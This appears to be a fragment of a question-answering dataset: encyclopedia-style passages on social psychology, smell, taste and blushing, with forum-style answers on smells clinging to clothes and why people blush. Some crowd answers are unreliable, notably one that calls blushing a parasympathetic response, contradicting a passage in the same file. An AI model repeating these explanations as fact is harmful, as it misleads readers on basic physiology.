happening to good people. But this I can’t get used to, or ever understand. This wonderful couple is a danger to no one. They are nobody’s enemy. They are without blame or malice.\"\nA column in Vatan-e-Emrooz, a Persian newspaper \"close to the security establishment\", has accused Rezaian of directing and distributing \"Happy Iranians\", a tribute video of the Pharrell Williams song \"Happy\", which was controversial in Iran and led to arrests of the participants. The column also alleged that Rezaian and", "some are based on his or her apparent cluelessness (as with tourists or children), lack of common sense, or stupidity (as with Gothamites), and some seem to demonstrate symptoms of mental illness. Because submitters usually do not know the people they are quoting, they often use glib labels such as \"suit on phone\", \"tourist\", \"hobo\", or \"drunk NYU chick\". Overheard in New York has become well-known within the city, and a few of the quoted conversations mention their being likely to turn up on the Web site. \nOverheard in New York has expanded with a variety of \"sister\"", "be an unethical or ethical feature to some individuals. Some people may react negatively because they believe it is an invasion of privacy. On the other hand, some individuals may enjoy this feature because their social network recognizes their interests and sends them particular advertisements pertaining to those interests. Consumers like to network with people who have interests and desires that are similar to their own. Individuals who agree to have their social media profile public, should be aware that advertisers have the ability to take information that interests them to be able to send them", "pro-ana and pro-bulimia) websites are forms of social media where individuals can share advice and images that encourage their peers to engage in eating disorder behaviors. These websites have been shown to have deleterious effects because they communicate to the viewer that the thin ideal is something that is not only attainable but also necessary. Women are more likely to compare themselves online when they feel the need to improve their appearance. Women with low self-esteem are more likely to feel dissatisfied after comparing themselves to images on social and women who struggle with preexisting eating disorders may exacerbate", "it would be rational to seek, evaluate or remember evidence of their honesty in a biased way. When someone gives an initial impression of being introverted or extroverted, questions that match that impression come across as more empathic. This suggests that when talking to someone who seems to be an introvert, it is a sign of better social skills to ask, \"Do you feel awkward in social situations?\" rather than, \"Do you like noisy parties?\" The connection between confirmation bias and social skills was corroborated by a study of how college students get to know other people. Highly self-monitoring students,", "be because extraversion is socially preferable in contemporary Western culture and thus introverts feel less desirable. In addition to the research on happiness, other studies have found that extraverts tend to report higher levels of self-esteem than introverts. Others suggest that such results reflect socio-cultural bias in the survey itself. Dr. David Meyers has claimed that happiness is a matter of possessing three traits: self-esteem, optimism, and extraversion. Meyers bases his conclusions on studies that report extraverts to be happier; these findings have been questioned in light of the fact that the \"happiness\" prompts given to the studies' subjects, such", "products with a user-blaming IVR. One surprising finding was that while users disliked the user-blaming system, they found it to be significantly more competent and believed it made fewer errors than the self-blaming system, despite the reality that the two versions made the same mistakes at the same points in the interaction.\nOn this point, Berjikly and Nass concluded that \"Modesty undermines your perceived intelligence so much, that even insulting the person you are working with makes you seem more competent to that\n\"Modesty undermines your perceived intelligence so much that even insulting the person you are working with makes you seem", "truthful tweets. More so, it is humans who are responsible in disseminating false news and information as opposed to bots and click-farms. The tendency for humans to spread false information has to do with human behavior; according to research, humans are attracted to events and information that are surprising and new, and, as a result, causes high-arousal in the brain. This ultimately leads humans to retweet or share false information, which are usually characterized with clickbait and eye-catching titles. This prevents people from stopping to verify the information. As a result, massive online communities form around a piece of false", "is not necessarily negative unless it is taken to the extreme and a person only views himself in terms of his affiliations with his BIRGing group. Increases in technology have led to an increase in the ability to bask in reflected glory; a person can now advertise their associations on Facebook, Twitter, and other social networking sites.", "criticized, and Dejesus-Anaya released a statement saying \"I think it's so wrong in so many ways for them to poke fun and do such things to someone... They know nothing about just to make money and make a mockery of trans people everywhere. They need to educate instead of just doing nonsense like that.\"", "with the confidant if they are receptive to the hostile comment. Such gossip is common in human society as people seek to divert blame and establish their place in the dominance hierarchy. But the backbiting may be perceived as a form of delinquent behaviour due to an inferiority complex.", "preferential but are also the morally sound way to proceed. People are more inclined to be aware of their own behaviors since they can use their thoughts and emotions to gain more information about themselves. These thoughts and emotions can affect how people view themselves in relation to others in specific situations. A common example arises when people are asked to explain how much credit should be given to each person in a collaborative project. Daniel Schacter, a psychology professor at Harvard University, considers egocentric bias as one of the \"seven sins\" of memory and", "Little claimed that life often requires people to participate in social situations, and since acting social is out of character for introverts, it was shown to harm their well-being. Therefore, one way to preserve introverts' well-being is for them to recharge as often as possible in places where they can return to their true selves—places Little calls \"restorative niches\".\nHowever, it was also found that extraverts did not respond stronger to social situations than introverts, nor did they report bigger boosts of positive affect during such interactions. Affective regulation Another possible explanation for more happiness among extraverts comes from the fact", "it was because of your intelligence; when the outcome does not match their expectations, they make external attributions or excuses. Whereas if you fail a test, you would give an excuse saying that you did not have enough time to study. People also use defensive attribution to avoid feelings of vulnerability and to differentiate themselves from a victim of a tragic accident. An alternative version of the theory of self-serving bias states that the bias does not arise because people wish to protect their private self-esteem, but to protect their self-image (a self-presentational bias). This version of the", "the emergence of modern technology. This ease, combined with the wide reach that many social networking sites allow users to have, has made oversharing quite a common occurrence today. According to the Huffington Post, of online oversharers, 32% say that they have experienced \"poster’s remorse\" and regretted posting certain information about themselves. Lamebook cocreator Jonathan Standefer, was quoted saying \"People overshare on the Internet. My favorite ones used to be the mushy ones, but the fights are the funniest. It's like fighting drunk with one of your friends, but everyone else is in the room.\" He views Lamebook as a", "It should go without saying, but this means no death threats, rape threats, attacks on people’s appearance, age, race, sex, size, haircut; no photoshopping people into demeaning images, no vulgar epithets.\nDawkins added,\nI'm told that some people think I tacitly endorse such things even if I don't indulge in them. Needless to say, I'm horrified by that suggestion. Any person who tries to intimidate members of our community with threats or harassment is in no way my ally and is only weakening the atheist movement by silencing its voices and driving away support.", "their upload because they have paid a lot of effort in choosing photos and writing captions. In other words, they care much about their success in catching their friends’ attentions. They may get depressed if the ‘likes’ do not meet their expectations and come up with reasons to explain for the little number of ‘likes’, for instance, they are not pretty enough.\nDr. David Houghton, who is the lead author of a study in UK said that “people, other than very close friends and relatives, do not seem to relate well to those who constantly share photos of themselves”. Therefore,", "because there isn't as much of a preset pattern for it. There's a word I often think about because it's such a negative in our society, which is 'used.' You say a 'used' car—something previously owned and not particularly good, or 'I've been used, I've been exploited.' But the most beautiful feeling about editing for an editor is that feeling of being used and subsumed.\nEngelhardt created TomDispatch in November 2001, and in 2002, it received support from The Nation Institute. He has described the site as the \"sideline that ate his life\". Contributors have included Rebecca Solnit, Bill McKibben, Jonathan", "said. “Because even if you’re a cold bastard, you get better stuff. Respond to people as you would respond to them naturally, not just as a “journalist” would respond. That’s important, since most people think journalists are assholes, which is not without some justification. Most subjects though, at least the ones I often write about, tend to be kind of lonely. Even and especially the famous and quasi-famous. So when you become their friend – in the artificial way journalists and subjects become friends – you’re halfway there. And sometimes you even stay friends after. Most people just want to", "to conform, especially as people are impacted by the frequency of times others hit the like button. The way others portray themselves on social media might lead to young people trying to mimic those qualities or actions in an attempt at conformity. It may also lead to a fear of missing out, which can pressure youth into irresponsible actions or decisions. Actions and influence on social media may lead to changes in identity, confidence, or habits in real life for children, adolescents, and adults. Peer pressure on social media across cultures Over 3 billion social media users across the world", "to pay more attention to others' thoughts. Thus, it is less difficult for them to differentiate between their own opinions and those of others. False-consensus effect Considered to be a facet of egocentric bias, the false-consensus effect states that people believe their thoughts, actions, and opinions are much more common than they are in reality. When people are asked to make an estimate of a population's statistic, they often only have data from themselves and tend to assume that others in the population are similar to them due to egocentric bias. In turn, people tend to overestimate the extent", "scale, indicating a relatively low level of deception overall.\nSome people are more prone to deceptive behavior online than others, such as those with high sensation-seeking tendencies, and those who show addictive behavior toward the Internet. Conversely, those who are introverted or have high tendencies for social anxiety are especially likely to be honest about their personalities online, revealing hidden aspects of the self that they would not normally show to others offline.\nAccording to the Scientific American, “nine out of ten online daters will fib about their height, weight, or age” such that men were more likely to lie about height", "Regan, writing for Spiked Online, wondered whether the comfort provided by having a convenient label for alleged rudeness outweighs the damage caused by overreaction.\nAccording to Derald Wing Sue, whose works popularized the term, many critiques are based on the term being misunderstood or misused. He said that his purpose in identifying such comments or actions was to educate people and not to silence or shame them. He further notes that, for instance, identifying that someone has used racial microaggressions is not intended to imply that they are racist. Mind reading According to Lilienfeld, a possible harmful effect of microaggression programs", "once did, pimping for a lord? Society does not allow the talented to support themselves because it does not value them, leaving them to beg while the rich, the powerful and stupid poke fun at men like Buffon, Duclos, Montesquieu, Rousseau, Voltaire, D'Alembert, Diderot. The poor genius is left with but two options: to crawl and flatter or to dupe and cheat, either being repugnant to the sensitive mind. If virtue had led the way to fortune, I would either have been virtuous or pretended to be so like others; I was expected to play the fool, and a", "\"networked misogyny\", and urged the posts in such forums be taken seriously not only in the context of hate speech but also as a form of grooming that could radicalize \"impressionable and vulnerable disillusioned young men\". Sociological research on incel communities has analyzed them as a hybrid masculinity, in which privileged men distance themselves from hegemonic masculinity while simultaneously reproducing it.\nCriticism has also been directed against platforms that host or have hosted incel content, including Reddit (who banned the /r/incels community in 2017, and banned most of the remaining incel communities in September 2019) and Twitter. Cloudflare, which provides services", "to the backlash over the name:\n\"At the time of coming up with it, we didn’t really think about that kind of aspect of it and it was upsetting to have someone think that about you. I can see where people would be coming from but they are kind of inherently misunderstanding—I think if you met us as people you’d understand where it's coming from. It isn't a super ironic thing plus we are probably the least macho people, ever. Some people probably think we are taking the piss out of girls, which we are very much against. It was like", "participate in their harassment. Social origin There may be other factors contributing to a person's apathy. Activist David Meslin argues that people often care, and that apathy is often the result of social systems actively obstructing engagement and involvement. He describes various obstacles that prevent people from knowing how or why they might get involved in something. Meslin focuses on design choices that unintentionally or intentionally exclude people. These include: capitalistic media systems that have no provisions for ideas that are not immediately (monetarily) profitable, government and political media (e.g. notices) that make it difficult for potentially interested individuals to" ]

[ "Smell is just really really little bits of stuff that float through the air and end up in your nose, where specialized cells can detect them. Sometimes those little pieces land on your clothes instead, and later on they fall back off and float around until they land in someone else’s nose", "All smells are particulate. That means they are made up of tiny particles. These particles get inside your nose, where receptors process them through your olfactory senses. The particles can also stick to your clothes. This is why we wear masks around things like dead bodies and certain chemicals. Those particles can be toxic." ]

[ "smelling is like anthropology or archaeology. You're watching to see what unfolds in a product, discovering new things.\" Sensory Stimulation and Food Design The various ways that all five human senses become connected before, during, and after eating is defined as sensory stimulation. Civille is convinced that to comprehend the consumer's desire, it is necessary to consider the discrete sensory properties of a food and how those properties work together in the mouth, which is a critical part to designing a food that will be successful in the marketplace. \nIn the past, Civille says, eating was a single event:", "case asking questions about food choices will help determine whether a patient has a smell or taste disorder. It is important to identify whether the distortion applies to an inhaled odorant or if an odor exists without the stimulus. The distortion of an odorant is presented in two types: the stimuli are different from what one remembers and in the second, everything has a similar smell. A clinical history can also help determine what kind of disorder one has because events such as respiratory infection and head trauma are usually indications of parosmia where as phantosmias usually have no history", "smelling,” and much subsequent scientific investigation in the early 1900s focused on attempting to break down smell dimensions into basic categories, a feat that has proven too complicated due to the vast number and complexity of odors.\nFood connoisseurs and chefs are increasingly capitalizing on the newly ascertained understanding of the role smell plays in flavor. Food scientists Nicholas Kurti and Hervé This expanded upon the physiology of flavor and its importance in the culinary arts. In 2006, This published his book, Molecular Gastronomy: Exploring the Science of Flavor, in which he explores the physical mechanisms that bring about flavor perception.", "describe the qualitative properties (characteristics) and their relative intensities (strength) in each product. Newspaper In July 2000, Gail Vance Civille along with Julia Lawlor presented the article \"MY JOB; I Say It Tastes Like Spinach \" in the New York Times, which explains the principles of evaluating a product and training a food panelist. Evaluating is to concentrate on what you feel on the tongue -- bitterness, sourness, sweetness, saltiness; to detect chemical feelings -- cooling, metallic, astringent, nasal pungency (like horseradish). \"Smell is the hardest,\" she stressed, \"When I train people, I have them smell vials of", "smells may be pleasant while one is cooking, but not necessarily after the meal.\nOdor molecules transmit messages to the limbic system, the area of the brain that governs emotional responses. Some believe that these messages have the power to alter moods, evoke distant memories, raise their spirits, and boost self-confidence. This belief has led to the concept of \"aromatherapy\" wherein fragrances are claimed to cure a wide range of psychological and physical problems. Aromatherapy claims that fragrances can positively affect sleep, stress, alertness, social interaction, and general feelings of well-being. However, the evidence for the effectiveness of aromatherapy consists mostly", "umami. The olfactory system recognizes the odorants as they pass to the olfactory epithelium via a retronasal pathway. This explains why we can identify a variety of flavors in spite of only having five types of taste receptors. The trigeminal nerve senses texture, pain, and temperature of food. For example, the cooling effect of menthol or the burning sensation of spicy food. Diagnosis Diagnosing a patient can be difficult as they are often frustrated from ineffective therapy and being told they have mental illnesses. Some patients have trouble deciding whether they have a taste or smell problem. In this", "smell and taste, make it usable for packaging aroma and flavour sensitive products such as chocolate, cigarettes and cosmetics.", "Taste can have a sensory impact other than curbing hunger. Sugar is a mind-altering substance that can trigger a serotonin-release and produce a craving for sweet things such as comfort foods. Comfort foods typically have a high-carbohydrate and sugar content. The extrasensory effect of food can cause it to feel like a drug and comforting, which may lead to health concerns such as obesity. These comfort foods may be associated with positive, good feelings such as comfort, home, and safety. Smell Smell is a chemical sense that involves odoriferous molecules as the primary source of information. Smell is the fastest", "smell sweet and memory confuses whether sweetness was tasted or smelled. Historical theories The development of organic chemistry in the 19th century introduced many new chemical compounds and the means to determine their molecular structures. Early organic chemists tasted many of their products, either intentionally (as a means of characterization) or accidentally (due to poor laboratory hygiene). One of the first attempts to draw systematic correlations between molecules' structures and their tastes was made by a German chemist, Georg Cohn, in 1914. He hypothesized that to evoke a certain taste, a molecule must contain some structural motif", "other similar factor), wind speed, and wind direction. Health risks The human sense of smell is a primary factor in the sensation of comfort. Olfaction as a sensory system brings awareness of the presence of airborne chemicals. Some inhaled chemicals are volatile compounds that act as a stimulus, triggering unwanted reactions such as nose, eye, and throat irritation. Perception of odor and of irritation is unique to each person, and varies because of physical conditions or memory of past exposures to similar chemicals. A person's specific threshold, before an odor becomes a nuisance, depends also on the frequency, concentration, and", "enlightened Age. It is universally well known, that in digesting our common food, there is created or produced in the bowels of human creatures, a great quantity of wind. That the permitting this air to escape and mix with the atmosphere, is usually offensive to the company, from the fetid smell that accompanies it. That all well-bred people therefore, to avoid giving such offence, forcibly restrain the efforts of nature to discharge that wind.\nThe essay goes on to discuss the way different foods affect the odor of flatulence and to propose scientific testing of farting. Franklin also suggests that scientists", "to the brain's olfactory bulb, which detects odors, fast-tracks signals to the limbic system and then links emotion to memories. Recently, many companies have dedicated to sell scent and aromas to different brands and firms in order to enhance their marketing strategy and brand identity. There are about 20 scent-marketing companies in the world, collectively worth around $80 million, says Harald Vogt, co-founder of the Scent Marketing Institute in Scarsdale, New York. With the sense of smell being so sensitive and powerful it is not a surprise that many companies have joined the industry, after all, 75% of our emotions", "things that smelled funny in refrigerators (my view from undergraduate days in the 1960s)..The field was undergoing a revolution and was rapidly acquiring the depth and power previously associated exclusively with the physical sciences. Biology was now the study of information stored in DNA — strings of four letters: A, T, G, and C..and the transformations that information undergoes in the cell. There was mathematics here!\n— Leonard Adleman, a theoretical computer scientist who pioneered the field of DNA computing\nWe should stop acting as if our goal is to author extremely elegant theories, and instead embrace complexity and make use of the", "means of defining the and interacting with the world. This is particularly the case in so far as odours are closely associated with personal and group identity. The study of the history, anthropology, and sociology of smells is, in a very real sense, an investigation into the ‘essence’ of human culture itself.\"", "the nose; texture, detected through a variety of mechanoreceptors, muscle nerves, etc.; temperature, detected by thermoreceptors; and \"coolness\" (such as of menthol) and \"hotness\" (pungency), through chemesthesis.\nAs taste senses both harmful and beneficial things, all basic tastes are classified as either aversive or appetitive, depending upon the effect the things they sense have on our bodies. Sweetness helps to identify energy-rich foods, while bitterness serves as a warning sign of poisons.\nAmong humans, taste perception begins to fade around 50 years of age because of loss of tongue papillae and a general decrease in saliva production. Humans can also have distortion", "Our Enigmatic Sense of Smell (William Morrow/Harper Collins Publishers) as well as working on other means to educate and stimulate the general public about the chemical senses. Her commercial ventures include The Educated Palate. Psychology of smell Herz has been conducting research on smell, emotion and cognition since 1990. Her research has shown how odor-evoked memory is emotionally unique compared to other kinds of memory experiences, how emotional associations can change odor perception, and how odors can be conditioned to emotions and subsequently influence motivated behavior. Her work also deals with how language can affect odor perception and her laboratory", "experiencing the flavor of foods and drinks. Flavor should be contrasted with taste, which refers to five specific dimensions: (1) sweet, (2) salty, (3) bitter, (4) sour, and (5) umami. Perceiving anything beyond these five dimensions, such as distinguishing the flavor of an apple from a pear for example, requires the sense of retronasal smell. History Evolutionarily, smell has long been presumed to be a less-important sense for humans, especially compared to vision. Vision appears to dominate human stimuli perception, but researchers now argue that smell cues are highly informative to humans despite being less obviously so. Before his", "their respective flavor threshold. Key odorants are the compounds that a human will effectively smell. They are defined as every compound that is present in concentrations higher than their specific flavor threshold.\nFor example, coffee contains 700 different aroma compounds, but there are only a couple of aroma compounds important for the smell of coffee because most of them are present in concentrations that may not be perceptible with the human nose, i.e. they are present in concentrations lower than their flavor threshold.\nThe key odorants are essential towards composing the flavor profile of the given product. The resultant flavor profile is", "well as reducing stress-related high blood pressure. The Mind Lab, an independent consultancy in the UK, studies the odor of a building as part of research on the brain’s responses to stimuli. Real estate brokers have been recommending to their clients to have smells of freshly baked cookies or the aroma of coffee in the house when it is being presented to potential buyers to create a sense of home. By bottling and releasing appropriate smells to evoke comfort, safety and joy, an owner may be able to accelerate the sale of a house.\nWorker productivity can be enhanced by improving", "benzaldehyde and vanillin with a vanilla smell. Hexanal from cellulose and lignin gives off an earthy smell. Researchers have attempted to profile the smell of old books and relate human perceptions of smell to their chemical sources. “Chocolate” and “coffee” are the most frequently used descriptors from the Historic Paper Odour Wheel.\nEphemera, as the name implies, was never made to survive. Flyers, postcards, and programs are often printed on poor quality paper, carelessly handled, and likely to be haphazardly displayed or stored. Pests Insects and vermin are naturally attracted to paper because paper is made of cellulose, starch", "bites into it, and texture are all factors that contribute to a person’s perception of food. In addition, culture provides a context to food. All these experiences put together can affect a person’s description of the food item.\nFlavor lexicons seek to provide an objective word bank for food. This streamlines the variations created by the different language ascribed to food.\nThe development of flavor language allows tasters to pinpoint descriptions about the food they taste. There are three major descriptive analysis techniques used by professional taste testers: Flavor Profile Method (FPM); Quantitative Descriptive Analysis (QDA); and the Spectrum method. Taste testing", "Flavor lexicon Flavor lexicon or flavor lexicons are used by professional taste testers to develop and detail the sensory perception experienced from food. The lexicon is a word bank developed by professional taste testers in order to identify an objective, nuanced and cross-cultural word bank for food. Background Flavor is the sensory impression of food or other substances and is determined primarily by the chemical senses of taste and smell. Flavor is said to be 80 percent aroma, detected primarily through the retronasal smell mechanism. Sight, sound, and touch also impact flavor. The color of a food, sound as one", "that people often do not realize that a food's flavor can be described by the food's smell, taste, or texture. Instead, he claims, people perceive flavor as a \"unitary percept\", in which a descriptor for either taste or smell is used to describe a food's flavor. Consider the terms that are used to describe the flavors of foods. For instance, a food may taste sweet, but often its flavor is described as such while not considering its smell or other sensory characteristics. For example, honey tastes sweet so its smell is associated with that descriptor, and sweet is also used", "Role of an aromachologist Pleasant aromas cause people to linger longer, a boon to retail stores, museums, spas and casinos. Pleasant smells have been shown to improve productivity, and improve physical performance, with athletes running faster, doing more pushups, and experiencing shorter recovery time after an extensive workout when the room was scented with either peppermint or lemon.\nBy blending specific smells, an aromachologist can create a more restful environment and improve health conditions. A study in 1987 showed that the smells found in nutmeg oil, maize extract, neroli oil, valerian oil, myristici, soelemcin and elemicin reduce stress in humans as", "certain kinds of smells. In the gustatory system, different neurons may respond selectively to different components of food: sweet, sour, salty, and bitter. In the somatosensory system, neurons may be selectively tuned to different types of pressure, temperature, bodily position, and pain. This tuning in the somatosensory system also provides feedback to the motor system so that it may selectively tune neurons to respond in specific ways to given stimuli. Finally, the encoding and storage of information in both short-term and long-term memory requires the tuning of neurons in complex ways such that information may be later retrieved.", "is considered to also encompass scents introduced to home fragrances, textiles, drawer liners and odor reducers for the home environment.", "the quality of air in a building, not just by removing the negative pollutants, but also by introducing through ventilation or air conditioning systems olfactory stimulation]s to get a mix of ventilated air and odor.\nIt is necessary to ensure that the dosage is such that the odor is not excessive and should be kept just above the detection level. Also, these olfactory substances are very different from perfume and should instead replicate the smell of natural outdoor air.\nA skilled aromachologist can concoct combinations of oils to reduce road rage, reduce fatigue and improve concentration while driving. Peppermint decreases anxiety and", "from the food it follows. Medicines and tablets may also have a lingering aftertaste, as they can contain certain artificial flavor compounds, such as aspartame (artificial sweetener). Acquired taste An acquired taste often refers to an appreciation for a food or beverage that is unlikely to be enjoyed by a person who has not had substantial exposure to it, usually because of some unfamiliar aspect of the food or beverage, including bitterness, a strong or strange odor, taste, or appearance. Clinical significance Patients with Addison's disease, pituitary insufficiency, or cystic fibrosis sometimes have a hyper-sensitivity to the five primary tastes.", "Generally we refuse to admit within ourselves, or within our friends, the fullness of that pushing, self-protective, malodorous, carnivorous, lecherous fever which is the very nature of the organic cell. Rather, we tend to perfume, whitewash, and reinterpret; meanwhile imagining that all the flies in the ointment, all the hairs in the soup, are the faults of some unpleasant someone else. But when it suddenly dawns on us, or is forced to our attention that everything we think or do is necessarily tainted with the odor of the flesh, then, not uncommonly, there is experienced a moment of revulsion: life,", "nerves, etc.; temperature, detected by thermoreceptors; and \"coolness\" (such as of menthol) and \"hotness\" (pungency), through chemesthesis.\nAs taste senses both harmful and beneficial things, all basic tastes are classified as either aversive or appetitive, depending upon the effect the things they sense have on our bodies. Sweetness helps to identify energy-rich foods, while bitterness serves as a warning sign of poisons.\nAmong humans, taste perception begins to fade around 50 years of age because of loss of tongue papillae and a general decrease in saliva production. Humans can also have distortion of tastes through dysgeusia. Not all mammals share the same" ]

[ "Firstly *how* we turn red, or 'blush': when we feel ashamed or receive unwanted social attention we release a hormone called adrenaline, which causes the blood vessels of your face to dilate (become wider), so that more blood fits in the skin of your face, and this is visible through the surface as redness. This only happens in the blood vessels of the face, and is a different effect from turning red from anger, which is caused by increased blood pressure and higher blood flow - shame won't make your veins pulse.\n\nWe show a few different behaviors in these situations, including: fidgeting, increased smiling, and avoiding eye contact. Darwin, who found the blushing reaction quite interesting and studied it, though not extensively, wrote \"an ashamed person can hardly endure to meet the gaze of those present so that he almost invariably casts his eyes downwards or looks askant\". These other reactions are culturally dependent though. Darwin, being most familiar with British people would have noted this, as over 40% of this population averts their eyes when embarrassed, while only ~10% of Japanese or Italian people do so. Blushing, however, is universal.\n\nAs to *why* blushing happens, while it is an unintentional reaction, it is not accidental, it serves some quite useful social purposes. While shame and blushing are almost invariably experienced as negative, signaling shame to others is actually communicating to them that you share their moral values and expectations, and that you are aware that you have transgressed such rules. Expressing that in a hard-to-fake manner is very useful for a social community, where your transgression (whatever has made you feel ashamed) is more likely to be accepted/forgiven if the rest of your group believe you feel bad about it. This will have been particularly useful for early Hominins who were part of social groups, but who's language was not yet sufficiently advanced to communicate abstract concepts like shame.\n\nThis Evolutionary/communicative explanation for blushing is probably the most widely accepted scientific view on blushing at this point, but there are others. Darwin believed it was a part of interpersonal appraisal, that it was \"thinking of what others think of us, which excites a blush\", but he could not find a good reason for it: \"it makes the blusher to suffer and the beholder uncomfortable, without being of the least service to either of them\". \n\nThe Psychoanalytic movement (the followers of Freud's work) were the biggest group who examined blushing, and they came up with a number of explanations. As can be expected from this particular branch of early Psychology however, the explanations were diverse, often incoherent, and generally connected to sex. A typical Psychodynamic explanation would be that blushing is the result of a subconscious exhibitionist fantasy that is held in check by the conscious mind; another would be that it is a physical signal of an emotional problem that is repressed; or that it is simply repressed libidinal excitation (sexual desire). These theories can be safely ignored.\n\nAnother line of theorizing, based on attention, is that people usually don't think about the fact that others are paying attention to them, and blushing happens when we start to excessively monitor how others are reacting to us. This coincides with when we're particularly sensitive to negative attention feelings when we are ashamed. This doesn't quite work out though, because even though blushing only happens due to public shame, not private shame, we do bush in private when being reminded of this kind of shame, even if we are not being currently observed by others.\n\nBlushing can also be looked at as a face-saving mechanism, in line with the earlier communicative theory. This 'remedial blushing' is all about repairing public image after something embarrassing has happened, and is supported by some experiments that have shown that when people don't think others saw them blush, other face-saving activity increases. Still, it doesn't seem to explain everything, it is really only focused on threats to public identity which are only a fraction of all the cases of blushing.\n\nWell, this is starting to get a bit long so I'll leave it at this for now. As you are probably a young person, bear in mind that blushing is only a temporary problem: while teenagers report they blush at least once a week (36% say they blush daily) and the 19-25 group blushes almost every week, those over 35 say they blush only once a month, at maximum.", "involuntary and non-verbal social cues are quite important in a social animal.\n\nDarwin says it better than I do:\n > Publicly conveying embarrassment or shame may signify the actor’s recognition that she/he has committed a social or moral infraction, and regrets this. As a consequence, this message may mitigate the negative social impression that was caused by the infraction.\n\n\n_URL_0_", "Similarly, why does liquid come out of our eyes when upset (or in pain)?", "Your question is a topic in vascular physiology. Before I directly answer your question, I will give some background about the different nervous systems in your body and explain what they do and when they are active. Then I will explain the innervation of your blood vessels, and then I will apply the given background to your question. \n\nWhen you're embarrassed, your face blushes (turns red). When you're frightened, your face blanches (loses color). This is a physiologic response to stimuli that is mediated by your nervous system. You have 2 nervous systems: (1) somatic, and (2) autonomic. Your somatic nervous system (\"soma\" is Latin for \"body\") controls voluntary skeletal muscle - this is the nervous system that you use consciously to perform tasks. Your autonomic nervous system is subconscious and is how your body regulates its physiologic states. The autonomic nervous system has 2 divisions: (A) sympathetic and (B) parasympathetic. Your sympathetic nervous system mediates responses to fear and excitement, which is commonly called the \"fright, fight, or flight\" response, in which your body closes off the blood circulation to your digestive tract and increases circulation to your muscles, so that you can better perform crucial survival tasks, such as running away from a burning building. Your parasympathetic nervous system mediates your body's calmer states, and so it is described as controlling the \"rest and digest\" response, in which your body performs maintenance tasks, such as digesting your lunch and pooping. Your sympathetic and parasympathetic systems work like a balancing scale. When you have a higher level of sympathetic nerve activity, you have a lower level of parasympathetic nerve activity, and vice versa. In this way, your body is able to coordinate its different reactive states.\n\nNow you know about your autonomic nervous system. Fibers from the autonomic nervous system innervate your organs and arteries (including the arteries in your face). Your arteries are lined with involuntary muscle (like the plastic coating of an electrical wire). This muscle type is called \"smooth muscle\" and you are not able to control this type of muscle consciously. When there is sympathetic nerve activity to this smooth muscle lining an artery, the smooth muscle contracts and squeezes the artery, making it smaller and not able to carry as much blood. When the sympathetic nerve activity decreases, the smooth muscle relaxes, the artery returns to its normal diameter, and blood flow goes back to normal.\n\nBack to your question: When you are embarrassed, the event is an emotional stimulus that your brain sends to your parasympathetic nervous system, which prepares its \"rest and digest\" response. This response causes vasodilation of the vessels in your face. There is more blood in the vessels of the face, and so the skin takes on a red hue. When you're frightened, the emotional stimulus is to your sympathetic nervous system, which does its \"fright, flight, or flight\" response. Sympathetic nerves innervating the arteries in your face cause them to vasoconstrict. There is less blood circulation occurring in your face, and so it appears white in color. \n\nFun fact: the same vasodilation response occurs in your digestive tract. When you are embarrased, your face blushes. Your intestines blush too! You just can't see them. \n\nSource: medical student", "Your heart rate often increases and you get a surge of adrenaline. This is biological hard-wiring as a 'fight or flight' response. Whatever deed you committed to cause the embarrassment may call for you to run, or fight.", "The worst is *extreme* blushing aka rosacea. My face can turn very dark red/almost purple. I'm 30 and still have to deal with this from time to time but it's not as bad as it was a while ago.", "Related, an old couple kept asking me about Duracell batteries the other day and I kept confusing it with Durex for who knows what reason. That was embarrassing." ]

[ "Blushing Blushing is the reddening of a person's face due to psychological reasons. It is normally involuntary and triggered by emotional stress tying candor, such as that associated with passion, embarrassment, shyness, anger, or romantic stimulation.\nSevere blushing is common in people who suffer social anxiety in which the person experiences extreme and persistent anxiety in social and performance situation. Summary Blushing is generally distinguished, despite a close physiological relation, from flushing, which is more intensive and extends over more of the body, and seldom has a mental source. If redness persists for abnormal amounts of time after blushing, then it", "the eyes of others. We have characterized embarrassment as a sudden-onset sense of fluster and mortification that results when the self is evaluated negatively because one has committed, or anticipates committing, a gaffe or awkward performance before an audience. So, because shame is focused on the entire self, those who become embarrassed apologize for their mistake, and then begin to repair things and this repair involves redressing harm done to the presented self.\nOne view of difference between shame and embarrassment says that shame does not necessarily involve public humiliation while embarrassment does; that is, one can feel shame for an", "Embarrassment Causes Embarrassment can be personal, caused by unwanted attention to private matters or personal flaws or mishaps or shyness. Some causes of embarrassment stem from personal actions, such as being caught in a lie or in making a mistake. In many cultures, being seen nude or inappropriately dressed is a particularly stressful form of embarrassment (see modesty). Personal embarrassment can also stem from the actions of others who place the embarrassed person in a socially awkward situation—such as a parent showing one's baby pictures to friends, having someone make a derogatory comment about one's appearance or behavior, discovering one", "sympathetic nervous system will cause blood vessels to open wide, flooding the skin with blood and resulting in reddening of the face. In some people, the ears, neck and upper chest may also blush. As well as causing redness, blushing can sometimes make the affected area feel hot.\nErythrophobia is the fear of blushing, from Ancient Greek: ερυθρός, lit. 'red' and Ancient Greek: φοβία, lit. 'fear' literally \"fear of redness\". Physiology of blushing A blush is a reddening of the cheeks and forehead bought about by increased capillary blood flow in the skin. It can also extend to the ears, neck and upper", "is the victim of gossip, being rejected by another person (see also humiliation), being made the focus of attention (e.g., birthday celebrants, newlyweds), or even witnessing someone else's embarrassment.\nPersonal embarrassment is usually accompanied by some combination of blushing, sweating, nervousness, stammering, and fidgeting. Sometimes the embarrassed person tries to mask embarrassment with smiles or nervous laughter, especially in etiquette situations. Such a response is more common in certain cultures, which may lead to misunderstanding. There may also be feelings of anger depending on the perceived seriousness of the situation, especially if the individual thinks another person is intentionally causing", "involved. Psychology of blushing Charles Darwin devoted Chapter 13 of his 1872 The Expression of the Emotions in Man and Animals to complex emotional states including self-attention, shame, shyness, modesty and blushing. He described blushing as \"... the most peculiar and most human of all expressions.\"\nSeveral different psychological and psycho-physiological mechanisms for blushing have been hypothesized by Crozier (2010): \"An explanation that emphasizes the blush's visibility proposes that when we feel shame we communicate our emotion to others and in doing so we send an important signal to them. It tells them something about us. It shows that we are", "of warmth or heat, associated with the vasodilation of the face and skin, can result in an even more sense of shame. More commonly, the act of crying can be associated with shame. Comparison with guilt The boundaries between concepts of shame, guilt, and embarrassment are not easily delineated. According to cultural anthropologist Ruth Benedict, shame is a violation of cultural or social values while guilt feelings arise from violations of one's internal values. Thus shame arises when one's 'defects' are exposed to others, and results from the negative evaluation (whether real or imagined) of others; guilt, on the other", "the embarrassment. There is a range of responses, with the most minor being a perception of the embarrassing act as inconsequential or even humorous, to intense apprehension or fear.\nThe idea that embarrassment serves an 